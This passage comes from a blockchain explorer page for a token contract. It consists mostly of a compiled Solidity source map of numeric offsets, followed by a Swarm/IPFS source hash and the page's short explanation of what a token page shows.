;;;;12999:10:::1;::::0;-1:-1:-1;;;;;12999:10:0::1;12964:47:::0;;;;;;;-1:-1:-1;;12964:67:0;;12875:168:::1;13076:13;;13058:15;:31;13055:450;;;13110:10;::::0;:217:::1;::::0;-1:-1:-1;;;13110:217:0;;-1:-1:-1;;;;;13110:10:0;;::::1;::::0;:61:::1;::::0;:217:::1;::::0;13190:13;;13110:10:::1;::::0;13242:4;;13273::::1;::::0;13297:15:::1;::::0;13110:217:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;13106:272;;13356:7;;;13106:272;13456:11;::::0;:37:::1;::::0;13420:21:::1;::::0;-1:-1:-1;;;;;13456:11:0::1;::::0;:37;::::1;;;::::0;13420:21;;13394:23:::1;13456:37:::0;13394:23;13456:37;13420:21;13456:11;:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13091:414;13055:450;12729:783;8306:1;-1:-1:-1::0;;8318:6:0;:14;;-1:-1:-1;;;;8318:14:0;;;12639:873::o;13631:903::-;13718:7;13740:11;13794;;13781:10;;:24;;;;:::i;:::-;13766:12;:39;13762:177;;;-1:-1:-1;7586:2:0;13762:177;;;-1:-1:-1;7486:1:0;13901:26;;;;-1:-1:-1;7536:1:0;13901:26;13955:3;13962:1;13955:8;13951:28;;13973:6;13966:13;;;;;13951:28;13993:17;7637:3;14013:12;14022:3;14013:6;:12;:::i;:::-;:30;;;;:::i;:::-;13993:50;-1:-1:-1;14058:13:0;;14054:437;;14088:18;7739:3;14109:16;14088:18;14109:6;:16;:::i;:::-;:34;;;;:::i;:::-;14174:4;14158:22;;;;:7;:22;;;;;:35;;14088:55;;-1:-1:-1;14184:9:0;;14158:22;;;:35;;14184:9;;14158:35;:::i;:::-;;;;-1:-1:-1;;14213:40:0;;553:25:1;;;14236:4:0;;-1:-1:-1;;;;;14213:40:0;;;-1:-1:-1;;;;;;;;;;;14213:40:0;541:2:1;526:18;14213:40:0;;;;;;;14273:14;;14270:210;;14324:4;14308:22;;;;:7;:22;;;;;:36;;14334:10;;14308:22;:36;;14334:10;;14308:36;:::i;:::-;;;;-1:-1:-1;;8033:42:0;14363:22;;;;:7;:22;;;:36;;14389:10;;14363:22;:36;;14389:10;;14363:36;:::i;:::-;;;;-1:-1:-1;;14423:41:0;;553:25:1;;;8033:42:0;;14440:4;;-1:-1:-1;;;;;;;;;;;14423:41:0;541:2:1;526:18;14423:41:0;;;;;;;14270:210;14073:418;14054:437;14508:18;14517:9;14508:6;:18;:::i;:::-;14501:25;13631:903;-1:-1:-1;;;;;;13631:903:0:o;948:224::-;1068:7;1104:12;1096:6;;;;1088:29;;;;-1:-1:-1;;;1088:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1128:9:0;1140:5;1144:1;1140;:5;:::i;:::-;1128:17;948:224;-1:-1:-1;;;;;948:224:0:o;617:179::-;675:7;;707:5;711:1;707;:5;:::i;:::-;695:17;;736:1;731;:6;;723:46;;;;-1:-1:-1;;;723:46:0;;13432:2:1;723:46:0;;;13414:21:1;13471:2;13451:18;;;13444:30;13510:29;13490:18;;;13483:57;13557:18;;723:46:0;13230:351:1;14:180;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;589:548::-;701:4;730:2;759;748:9;741:21;791:6;785:13;834:6;829:2;818:9;814:18;807:34;859:1;869:140;883:6;880:1;877:13;869:140;;;978:14;;;974:23;;968:30;944:17;;;963:2;940:26;933:66;898:10;;869:140;;;873:3;1058:1;1053:2;1044:6;1033:9;1029:22;1025:31;1018:42;1128:2;1121;1117:7;1112:2;1104:6;1100:15;1096:29;1085:9;1081:45;1077:54;1069:62;;;;589:548;;;;:::o;1142:131::-;-1:-1:-1;;;;;1217:31:1;;1207:42;;1197:70;;1263:1;1260;1253:12;1278:315;1346:6;1354;1407:2;1395:9;1386:7;1382:23;1378:32;1375:52;;;1423:1;1420;1413:12;1375:52;1462:9;1449:23;1481:31;1506:5;1481:31;:::i;:::-;1531:5;1583:2;1568:18;;;;1555:32;;-1:-1:-1;;;1278:315:1:o;1790:456::-;1867:6;1875;1883;1936:2;1924:9;1915:7;1911:23;1907:32;1904:52;;;1952:1;1949;1942:12;1904:52;1991:9;1978:23;2010:31;2035:5;2010:31;:::i;:::-;2060:5;-1:-1:-1;2117:2:1;2102:18;;2089:32;2130:33;2089:32;2130:33;:::i;:::-;1790:456;;2182:7;;-1:-1:-1;;;2236:2:1;2221:18;;;;2208:32;;1790:456::o;2440:247::-;2499:6;2552:2;2540:9;2531:7;2527:23;2523:32;2520:52;;;2568:1;2565;2558:12;2520:52;2607:9;2594:23;2626:31;2651:5;2626:31;:::i;2917:388::-;2985:6;2993;3046:2;3034:9;3025:7;3021:23;3017:32;3014:52;;;3062:1;3059;3052:12;3014:52;3101:9;3088:23;3120:31;3145:5;3120:31;:::i;:::-;3170:5;-1:-1:-1;3227:2:1;3212:18;;3199:32;3240:33;3199:32;3240:33;:::i;:::-;3292:7;3282:17;;;2917:388;;;;;:::o;3310:356::-;3512:2;3494:21;;;3531:18;;;3524:30;3590:34;3585:2;3570:18;;3563:62;3657:2;3642:18;;3310:356::o;4026:127::-;4087:10;4082:3;4078:20;4075:1;4068:31;4118:4;4115:1;4108:15;4142:4;4139:1;4132:15;4158:128;4225:9;;;4246:11;;;4243:37;;;4260:18;;:::i;5346:251::-;5416:6;5469:2;5457:9;5448:7;5444:23;5440:32;5437:52;;;5485:1;5482;5475:12;5437:52;5517:9;5511:16;5536:31;5561:5;5536:31;:::i;6523:306::-;6611:6;6619;6627;6680:2;6668:9;6659:7;6655:23;6651:32;6648:52;;;6696:1;6693;6686:12;6648:52;6725:9;6719:16;6709:26;;6775:2;6764:9;6760:18;6754:25;6744:35;;6819:2;6808:9;6804:18;6798:25;6788:35;;6523:306;;;;;:::o;7113:277::-;7180:6;7233:2;7221:9;7212:7;7208:23;7204:32;7201:52;;;7249:1;7246;7239:12;7201:52;7281:9;7275:16;7334:5;7327:13;7320:21;7313:5;7310:32;7300:60;;7356:1;7353;7346:12;9721:422;9810:1;9853:5;9810:1;9867:270;9888:7;9878:8;9875:21;9867:270;;;9947:4;9943:1;9939:6;9935:17;9929:4;9926:27;9923:53;;;9956:18;;:::i;:::-;10006:7;9996:8;9992:22;9989:55;;;10026:16;;;;9989:55;10105:22;;;;10065:15;;;;9867:270;;;9871:3;9721:422;;;;;:::o;10148:806::-;10197:5;10227:8;10217:80;;-1:-1:-1;10268:1:1;10282:5;;10217:80;10316:4;10306:76;;-1:-1:-1;10353:1:1;10367:5;;10306:76;10398:4;10416:1;10411:59;;;;10484:1;10479:130;;;;10391:218;;10411:59;10441:1;10432:10;;10455:5;;;10479:130;10516:3;10506:8;10503:17;10500:43;;;10523:18;;:::i;:::-;-1:-1:-1;;10579:1:1;10565:16;;10594:5;;10391:218;;10693:2;10683:8;10680:16;10674:3;10668:4;10665:13;10661:36;10655:2;10645:8;10642:16;10637:2;10631:4;10628:12;10624:35;10621:77;10618:159;;;-1:-1:-1;10730:19:1;;;10762:5;;10618:159;10809:34;10834:8;10828:4;10809:34;:::i;:::-;10879:6;10875:1;10871:6;10867:19;10858:7;10855:32;10852:58;;;10890:18;;:::i;:::-;10928:20;;10148:806;-1:-1:-1;;;10148:806:1:o;10959:140::-;11017:5;11046:47;11087:4;11077:8;11073:19;11067:4;11046:47;:::i;11104:168::-;11177:9;;;11208;;11225:15;;;11219:22;;11205:37;11195:71;;11246:18;;:::i;11277:125::-;11342:9;;;11363:10;;;11360:36;;;11376:18;;:::i;11891:127::-;11952:10;11947:3;11943:20;11940:1;11933:31;11983:4;11980:1;11973:15;12007:4;12004:1;11997:15;12023:980;12285:4;12333:3;12322:9;12318:19;12364:6;12353:9;12346:25;12390:2;12428:6;12423:2;12412:9;12408:18;12401:34;12471:3;12466:2;12455:9;12451:18;12444:31;12495:6;12530;12524:13;12561:6;12553;12546:22;12599:3;12588:9;12584:19;12577:26;;12638:2;12630:6;12626:15;12612:29;;12659:1;12669:195;12683:6;12680:1;12677:13;12669:195;;;12748:13;;-1:-1:-1;;;;;12744:39:1;12732:52;;12839:15;;;;12804:12;;;;12780:1;12698:9;12669:195;;;-1:-1:-1;;;;;;;12920:32:1;;;;12915:2;12900:18;;12893:60;-1:-1:-1;;;12984:3:1;12969:19;12962:35;12881:3;12023:980;-1:-1:-1;;;12023:980:1:o;13008:217::-;13048:1;13074;13064:132;;13118:10;13113:3;13109:20;13106:1;13099:31;13153:4;13150:1;13143:15;13181:4;13178:1;13171:15;13064:132;-1:-1:-1;13210:9:1;;13008:217::o

Swarm Source

ipfs://cca3f5a2544f1c118cd5aebed58c0c36a3f057993c36929f241c97cf625dfb2f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.